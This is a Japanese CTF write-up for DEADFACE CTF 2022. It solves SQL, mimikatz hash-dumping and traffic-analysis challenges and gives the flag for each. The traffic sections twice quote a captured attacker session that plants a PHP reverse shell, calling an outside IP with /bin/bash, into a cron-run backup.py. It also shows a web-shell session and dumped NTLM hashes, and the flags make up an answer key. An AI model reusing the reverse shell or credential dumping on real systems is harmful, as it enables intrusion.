DEADFACE CTF 2022 Writeup

この大会は2022/10/14 23:00(JST)~2022/10/16 9:00(JST)に開催されました。
今回もチームで参戦。結果は3300点で532チーム中32位でした。
自分で解けた問題をWriteupとして書いておきます。

Starter 1 (Starter 5)

Rules and Code of Conductのページの最下部にフラグが書いてあった。

flag{I_acknowledge_the_rules}

Starter 2 (Starter 5)

問題にフラグが書いてあった。

flag{cash_prizes}

Starter 3 (Starter 10)

"Another year of mayhem"という名前のスレッドで、最初に投稿されたユーザの名前と日付を答える必要がある。Ghost Townの"Another year of mayhem"のスレッドを見ると、最初に書かれているユーザの名前と日付がわかる。

flag{d34th_0531}

Counting Heads (SQL 10)

データベースにあるユーザ数を答える問題。まず添付のsqlファイルをmysqlに取り込む。

$ sudo mysql
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 9
Server version: 8.0.30-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2022, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create database esu;
Query OK, 1 row affected (0.00 sec)

mysql> use esu;
Database changed
mysql> source esu.sql
Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 250 rows affected (0.01 sec)
Records: 250  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 1107 rows affected (0.02 sec)
Records: 1107  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.02 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 84 rows affected (0.00 sec)
Records: 84  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

Query OK, 15032 rows affected (0.29 sec)
Records: 15032  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

Query OK, 2400 rows affected (0.03 sec)
Records: 2400  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 3 rows affected (0.00 sec)
Records: 3  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 8 rows affected (0.00 sec)
Records: 8  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 2400 rows affected (0.03 sec)
Records: 2400  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 59 rows affected (0.00 sec)
Records: 59  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 1000 rows affected (0.01 sec)
Records: 1000  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.01 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.04 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.02 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 2400 rows affected (0.06 sec)
Records: 2400  Duplicates: 0  Warnings: 0

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

mysql> show tables;
+------------------+
| Tables_in_esu    |
+------------------+
| countries        |
| courses          |
| degree_types     |
| enrollments      |
| passwords        |
| payment_statuses |
| programs         |
| roles            |
| roles_assigned   |
| states           |
| term_courses     |
| terms            |
| users            |
+------------------+
13 rows in set (0.00 sec)

usersのレコード数を確認する。

mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
|     2400 |
+----------+
1 row in set (0.00 sec)
flag{2400}

The Faculty (SQL 30)

学生でないユーザ数を答える問題。rolesテーブルに学生かどうかを識別するものが定義されている。
rolesテーブルのrole_idが1の場合に学生。roles_assignedテーブルでuser_idとrole_idが紐づけられている。
usersテーブルがuser_idの一覧なので、対応するrole_idが1以外のユーザの人数を出すSQLを作る。

mysql> select count(*) from users, roles_assigned where users.user_id = roles_assigned.user_id and roles_assigned.role_id != 1;
+----------+
| count(*) |
+----------+
|      627 |
+----------+
1 row in set (0.00 sec)
flag{627}

Let's Hash It Out (SQL 35)

Ghost Townで会話されている情報を見て、ターゲットのパスワードハッシュを答える問題。
Ghost Townを見てみると、Database questionというスレッドがある。そこの内容を見てターゲットを絞り込む。ターゲットはAdministration(role_id=8)で1人しかいないようだ。passwordsテーブルはuser_idとpasswordが紐づけられているので、そのパスワードハッシュを取得するSQLを作る。

mysql> select users.user_id from users, roles_assigned where users.user_id = roles_assigned.user_id and roles_assigned.role_id = 8;
+---------+
| user_id |
+---------+
|    1440 |
+---------+
1 row in set (0.00 sec)

mysql> select password from passwords where user_id = 1440;
+------------------------------------------+
| password                                 |
+------------------------------------------+
| b487af41779cffb9572b982e1a0bf83f0eafbe05 |
+------------------------------------------+
1 row in set (0.00 sec)
flag{b487af41779cffb9572b982e1a0bf83f0eafbe05}

Fall Classes (SQL 50)

秋のコースのユニークな数を答える問題。
coursesテーブルにはcourse_idを主キーとするコースの一覧がある。term_coursesテーブルには、course_idとterm_idを紐づけるデータがある。termsテーブルにはterms_idを主キーとする時期の一覧がある。
秋のコースのterm_idは2。coursesテーブルから対応するterm_idが2のコースのコースID数を出すSQLを作る。

mysql> select count(distinct courses.course_id) from courses, term_courses where courses.course_id = term_courses.course_id and term_courses.term_id = 2;
+-----------------------------------+
| count(distinct courses.course_id) |
+-----------------------------------+
|                               405 |
+-----------------------------------+
1 row in set (0.03 sec)
flag{405}

Information Security Enthusiasts (SQL 150)

ISSCコースの秋の入学者数を答える問題。
enrollmentsテーブルにはuser_idとterm_crs_id、payment_status_idを紐づけるデータがある。term_coursesテーブルにはterm_crs_idとcourse_id、term_idを紐づけるデータがある。coursesテーブルにはcourse_idを主キーとするコースの一覧がある。termsテーブルにはterms_idを主キーとする時期の一覧がある。
秋のコースのterm_idは2。coursesテーブルのtitleの先頭にISSCが付くものが対象。この条件を満たすSQLを作る。

mysql> select count(*) from users, enrollments, term_courses where users.user_id = enrollments.user_id and term_courses.term_crs_id = enrollments.term_crs_id and term_courses.term_id = 2 and term_courses.course_id = courses.course_id and courses.title like 'ISSC%';
ERROR 1054 (42S22): Unknown column 'courses.course_id' in 'where clause'
mysql> select count(*) from users, enrollments, term_courses, courses where users.user_id = enrollments.user_id and term_courses.term_crs_id = enrollments.term_crs_id and term_courses.term_id = 2 and term_courses.course_id = courses.course_id and courses.title like 'ISSC%';
+----------+
| count(*) |
+----------+
|      526 |
+----------+
1 row in set (0.77 sec)
flag{526}

Monstrosity (Programming 50)

長い文字列を入力してみたら、フラグが表示された。

$ ./monstrosity 

    __  ___                 __                  _ __       
   /  |/  /___  ____  _____/ /__________  _____(_) /___  __
  / /|_/ / __ \/ __ \/ ___/ __/ ___/ __ \/ ___/ / __/ / / /
 / /  / / /_/ / / / (__  ) /_/ /  / /_/ (__  ) / /_/ /_/ / 
/_/  /_/\____/_/ /_/____/\__/_/   \____/____/_/\__/\__, /  
                                                  /____/   

A dreaded beast that slumbers in its secret lair, remaining in a dormant state for centuries.
>  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Incorrect.
flag{TaRrAsqUE_m0nstros1tY}
Segmentation fault (コアダンプ)
flag{TaRrAsqUE_m0nstros1tY}

Cracking NTLM (Pwn 100)

samとsystemファイルからユーザ名とパスワードをクラックする。

>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 02:01:23
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::sam /system:system /sam:sam
Domain : DESKTOP-G1OKA8E
SysKey : 459aedd0315724a80fd06b3201777178
Local SID : S-1-5-21-4022189011-3773594694-1346030590

SAMKey : 8e4033b86e3804b5a3727b41a45cc5e0

RID  : 000001f4 (500)
User : Administrator

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: beb9dfc9d0b45e617729d8a2cc08b237

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 89d9f6de853a8eeedc0868bf0c292266

* Primary:Kerberos-Newer-Keys *
    Default Salt : WDAGUtilityAccount
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 904e8ac1c4ee4ae16126ce9aad7bb066e6c0d63fa3b619b84a47a4040ec01fca
      aes128_hmac       (4096) : bb6b4500d9f608e2176ebe91ee3e1a82
      des_cbc_md5       (4096) : b625ec6186e5cbef

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : WDAGUtilityAccount
    Credentials
      des_cbc_md5       : b625ec6186e5cbef


RID  : 000003e8 (1000)
User : defaultuser0
  Hash NTLM: 133e8be11041398e29afe761caa03c09

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : a14f0ebbccd16d3db4d8407871924417

* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-G1OKA8Edefaultuser0
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : f31dcdbad3a5001841ccd74decf77688de2d5d502468f3cce5cc9eeced937cff
      aes128_hmac       (4096) : 6f7feeec5d4c7ba067e9e475f1512bc8
      des_cbc_md5       (4096) : d625917c645d734c
    OldCredentials
      aes256_hmac       (4096) : f31dcdbad3a5001841ccd74decf77688de2d5d502468f3cce5cc9eeced937cff
      aes128_hmac       (4096) : 6f7feeec5d4c7ba067e9e475f1512bc8
      des_cbc_md5       (4096) : d625917c645d734c

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : DESKTOP-G1OKA8Edefaultuser0
    Credentials
      des_cbc_md5       : d625917c645d734c
    OldCredentials
      des_cbc_md5       : d625917c645d734c


RID  : 000003e9 (1001)
User : itadmin
  Hash NTLM: 3e126da93e034356d4e8cc3e0dd24357

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : e02d1e4d07beca69b52454f8704a7781

* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-G1OKA8Eitadmin
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 6530a6a11b344bfe4bcd42a4c07c34a1895a9af52ababff8e617e010db525084
      aes128_hmac       (4096) : 1fb80de9c6bb39f41d4bc437542a48f4
      des_cbc_md5       (4096) : d6abb3b9c8512320
    OldCredentials
      aes256_hmac       (4096) : 6530a6a11b344bfe4bcd42a4c07c34a1895a9af52ababff8e617e010db525084
      aes128_hmac       (4096) : 1fb80de9c6bb39f41d4bc437542a48f4
      des_cbc_md5       (4096) : d6abb3b9c8512320

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : DESKTOP-G1OKA8Eitadmin
    Credentials
      des_cbc_md5       : d6abb3b9c8512320
    OldCredentials
      des_cbc_md5       : d6abb3b9c8512320


RID  : 000003ea (1002)
User : vludi
  Hash NTLM: f5f96e15e692ee8221a6a572a0c42302

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : abe05cfe6a0ab40b7297f03ecae9fdf5

* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-G1OKA8Evludi
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 53b1608b5757fdc8f3160e21b91ca5922ab53f847cdfdc05bed6393f0e7d7390
      aes128_hmac       (4096) : 52461c1c0bade726c9b5f83b83bc44ee
      des_cbc_md5       (4096) : 0b76e9fd1a1c6bc7

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : DESKTOP-G1OKA8Evludi
    Credentials
      des_cbc_md5       : 0b76e9fd1a1c6bc7


RID  : 000003eb (1003)
User : atevlin
  Hash NTLM: d1431666adfed36a06c1b5ab78cb9893

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : d1e3e498e5df5b573a7b0d0c8aec9eac

* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-G1OKA8Eatevlin
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : e54ec8bfb9c951b643f7819cfe880ac1baea552a7957c5c53a45a259ea2fae1a
      aes128_hmac       (4096) : 15bde35de34790a4a791b2a2a0ee1e50
      des_cbc_md5       (4096) : 23624a07705b4031

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : DESKTOP-G1OKA8Eatevlin
    Credentials
      des_cbc_md5       : 23624a07705b4031


RID  : 000003ec (1004)
User : adminguy
  Hash NTLM: ec703dd09482fc2697461b1ad737f3f9

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 3bdd22ad84525843b4379111a689afe2

* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-G1OKA8Eadminguy
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 60af47ef0b1ecd790ffaed308c501ffa56c20d84fd2b7ffc743ad508176a348f
      aes128_hmac       (4096) : abc549dc1e3de0f6392b057dec1955dd
      des_cbc_md5       (4096) : dad59ef44f453470

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : DESKTOP-G1OKA8Eadminguy
    Credentials
      des_cbc_md5       : dad59ef44f453470

itadminのNTLMハッシュは 3e126da93e034356d4e8cc3e0dd24357。CrackStationでクラックすると、以下のパスワードであることがわかる。

adminadmin
flag{itadmin_adminadmin}

RansomWAR 1 - Let's HASH This Out, Fellas (Reverse Engineering 20)

DarkAngel Encryptor programのsha512ハッシュを求め、最初の8桁と最後の8桁を答える。

$ sha512sum darkangel-crypt-03.exe
d5241cbd99afdd521fe9122b3ca77c8e2750a1fef050ecb88e6a5b91b74cf155fdae5b600e22ccceb97ad45a14fddf26394d066456969ed9e5514c8d681ebf44  darkangel-crypt-03.exe
flag{d5241cbd:681ebf44}

Scans (Traffic Analysis 10)

最初のスキャンタイプを答える問題。ポートスキャンをしていて、SYNパケットのみがあることがわかる。

flag{syn}

Passing on Complexity (Traffic Analysis 50)

バックアップユーザのパスワードを答える問題。
Escalationの問題で見たTCP Streamを見てみる。

        :
/>/>cp /opt/backup.py .
cp: cannot create regular file './backup.py': Permission denied
/>cp /opt/backup.py /tmp
/>echo "cmd=\"php -r '\$sock=fsockopen(\\\"165.227.73.138\\\",4815);exec(\\\"/bin/bash -i <&3 >&3 2>&3\\\");'\"" >> /opt/backup.py
/>echo "popen(cmd)" >> /opt/backup.py
/>cat /opt/backup.py
#!/usr/bin/env python3
from os import popen
popen('mysqldump -u backup -pbackup123 esu | gzip > /backups/backup_esu_$(date "+%Y%m%d%H%M%S").sql.gz')

cmd="php -r '$sock=fsockopen(\"165.227.73.138\",4815);exec(\"/bin/bash -i <&3 >&3 2>&3\");'"
popen(cmd)
/>exit

backupユーザのパスワードは"backup123"。

flag{backup123}

Shells (Traffic Analysis 75)

info.phpというWeb Shellを攻撃者に与えたツール名を答える問題。
"info.php"でパケットを検索すると、No.91296パケットにあることがわかる。そのパケットを含むTCP Streamを見てみる。

b374k shell : connected
/bin/sh: 0: can't access tty; job control turned off
/var/www/easternstateuniversity.com/uploads>whoami
www-data
/var/www/easternstateuniversity.com/uploads>pwd
/var/www/easternstateuniversity.com/uploads
/var/www/easternstateuniversity.com/uploads>ls -laR
.:
total 196
drwxrwxrwx 2 webadmin webadmin   4096 Jul 27 14:38 .
drwxr-xr-x 9 webadmin webadmin   4096 Jul 26 20:34 ..
-rw-r--r-- 1 www-data www-data 192355 Jul 27 14:38 info.php
        :
        :

先頭にb374k shellの文字がある。

flag{b374k}

Escalation (Traffic Analysis 75)

Webサーバのrootを取るために修正したファイル名とコマンドを格納した変数名を答える問題。
Shellsの問題で見たTCP Streamの最後の方を見てみる。

        :
/>/>cp /opt/backup.py .
cp: cannot create regular file './backup.py': Permission denied
/>cp /opt/backup.py /tmp
/>echo "cmd=\"php -r '\$sock=fsockopen(\\\"165.227.73.138\\\",4815);exec(\\\"/bin/bash -i <&3 >&3 2>&3\\\");'\"" >> /opt/backup.py
/>echo "popen(cmd)" >> /opt/backup.py
/>cat /opt/backup.py
#!/usr/bin/env python3
from os import popen
popen('mysqldump -u backup -pbackup123 esu | gzip > /backups/backup_esu_$(date "+%Y%m%d%H%M%S").sql.gz')

cmd="php -r '$sock=fsockopen(\"165.227.73.138\",4815);exec(\"/bin/bash -i <&3 >&3 2>&3\");'"
popen(cmd)
/>exit
flag{backup.py_cmd}

The Root of All Evil (Traffic Analysis 75)

Webサーバのrootを取った後、残したフラグを答える問題。
No.91713のパケットを含むTCP Streamを見てみる。

bash: cannot set terminal process group (24977): Inappropriate ioctl for device
bash: no job control in this shell
root@esu-web-7734:~# whoami
whoami
root
root@esu-web-7734:~# ls -l ~
ls -l ~
total 4
drwx------ 3 root root 4096 Jul  2 14:54 snap
root@esu-web-7734:~# echo "flag{pr1vesc_wi7h_cROn}"
echo "flag{pr1vesc_wi7h_cROn}"
flag{pr1vesc_wi7h_cROn}
root@esu-web-7734:~# cd /backups
cd /backups
root@esu-web-7734:/backups# ls -l
ls -l
total 224
-rw-r--r-- 1 root root 364 Jul 27 01:23 backup_esu_20220727012301.sql.gz
-rw-r--r-- 1 root root 364 Jul 27 01:25 backup_esu_20220727012501.sql.gz
-rw-r--r-- 1 root root 364 Jul 27 01:30 backup_esu_20220727013001.sql.gz
flag{pr1vesc_wi7h_cROn}

New Addition (Traffic Analysis 100)

データベースに追加したユーザのユーザ名を答える問題。
No.92112のパケットを含むTCP Streamを見てみる。

bash: cannot set terminal process group (25150): Inappropriate ioctl for device
bash: no job control in this shell
root@esu-web-7734:~# mysql -u backup -pbackup123 -D esu -e "INSERT INTO users (username, first, last, email, street, city, state_id, zip, gender, dob) VALUES ('areed2022', 'Alexandra', 'Reed', 'fake@email.com', '830 Iowa Place', 'Reese', 23, '48757', 'f', '1999-08-19');"

< Place', 'Reese', 23, '48757', 'f', '1999-08-19');"
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 1142 (42000) at line 1: INSERT command denied to user 'backup'@'localhost' for table 'users'
root@esu-web-7734:~# adduser dlewis
adduser dlewis
Command 'adduser' is available in the following places
 * /sbin/adduser
 * /usr/sbin/adduser
The command could not be located because '/sbin:/usr/sbin' is not included in the PATH environment variable.
This is most likely caused by the lack of administrative privileges associated with your user account.
adduser: command not found
root@esu-web-7734:~# useradd -s /bin/bash dlewis
useradd -s /bin/bash dlewis
Command 'useradd' is available in the following places
 * /sbin/useradd
 * /usr/sbin/useradd
The command could not be located because '/usr/sbin:/sbin' is not included in the PATH environment variable.
This is most likely caused by the lack of administrative privileges associated with your user account.
useradd: command not found
root@esu-web-7734:~# exit
exit
exit

追加しようとしているユーザ名は"areed2022"。

flag{areed2022}

First Strike (Forensics 10)

ログからサイバー攻撃の攻撃元 IP アドレスを答える問題。
接続元のほとんどのIPアドレスは、165.227.73.138。

flag{165.227.73.138}

Toolbox (Forensics 15)

2022-07-27 14:13 UTCに攻撃を開始したときに使われたツール名を答える問題。
ログからnmapを使っていることはすぐにわかる。

flag{nmap}

Grave Digger 1 (Forensics 15)

sshでログインし、フラグを探す。

$ ssh crypto_vamp@env.deadface.io
The authenticity of host 'env.deadface.io (165.227.189.94)' can't be established.
ED25519 key fingerprint is SHA256:N4aMlqxH+NRRrZl+AbYVwP8YU7AvJPqaBQXKGlKU9m0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'env.deadface.io' (ED25519) to the list of known hosts.
crypto_vamp@env.deadface.io's password: 
crypto_vamp@2bc305a0c131:~$ ls -la
total 40
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 .
drwxrwxr-x 1 root        root        4096 Oct 13 22:41 ..
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Desktop
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Documents
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Downloads
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Music
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Pictures
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Public
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Templates
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Videos
crypto_vamp@2bc305a0c131:~$ ls -lRa
.:
total 40
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 .
drwxrwxr-x 1 root        root        4096 Oct 13 22:41 ..
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Desktop
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Documents
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Downloads
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Music
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Pictures
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Public
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Templates
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 Videos

./Desktop:
total 8
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 .
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 ..

./Documents:
total 8
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 .
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 ..

./Downloads:
total 8
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 .
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 ..

./Music:
total 8
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 .
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 ..

./Pictures:
total 8
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 .
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 ..

./Public:
total 8
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 .
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 ..

./Templates:
total 8
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 .
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 ..

./Videos:
total 8
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 .
drwxrwxr-x 1 crypto_vamp crypto_vamp 4096 Oct 13 22:42 ..
crypto_vamp@2bc305a0c131:/home$ set
BASH=/bin/bash
BASHOPTS=checkwinsize:cmdhist:complete_fullquote:expand_aliases:extquote:force_fignore:hostcomplete:interactive_comments:progcomp:promptvars:sourcepath
BASH_ALIASES=()
BASH_ARGC=()
BASH_ARGV=()
BASH_CMDS=()
BASH_LINENO=()
BASH_SOURCE=()
BASH_VERSINFO=([0]="4" [1]="4" [2]="20" [3]="1" [4]="release" [5]="x86_64-pc-linux-gnu")
BASH_VERSION='4.4.20(1)-release'
COLUMNS=98
DIRSTACK=()
EUID=4816
GRAVEDIGGER1='flag{d34dF4C3_en1roN_v4r}'
GROUPS=()
HISTFILE=/home/crypto_vamp/.bash_history
HISTFILESIZE=500
HISTSIZE=500
HOME=/home/crypto_vamp
HOSTNAME=2bc305a0c131
HOSTTYPE=x86_64
IFS=$' \t\n'
LINES=32
MACHTYPE=x86_64-pc-linux-gnu
MAILCHECK=60
OLDPWD=/home/crypto_vamp
OPTERR=1
OPTIND=1
OSTYPE=linux-gnu
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PIPESTATUS=([0]="0")
PPID=0
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
PS2='> '
PS4='+ '
PWD=/home
SHELL=/bin/bash
SHELLOPTS=braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor
SHLVL=1
TERM=xterm
TMOUT=1600
UID=4816
_=/

環境変数 GRAVEDIGGER1 にフラグが設定されていた。

flag{d34dF4C3_en1roN_v4r}

Agents of Chaos (Forensics 25)

ログから攻撃者が使用する2番目のスキャンツールの最初のユーザーエージェントを答える問題。
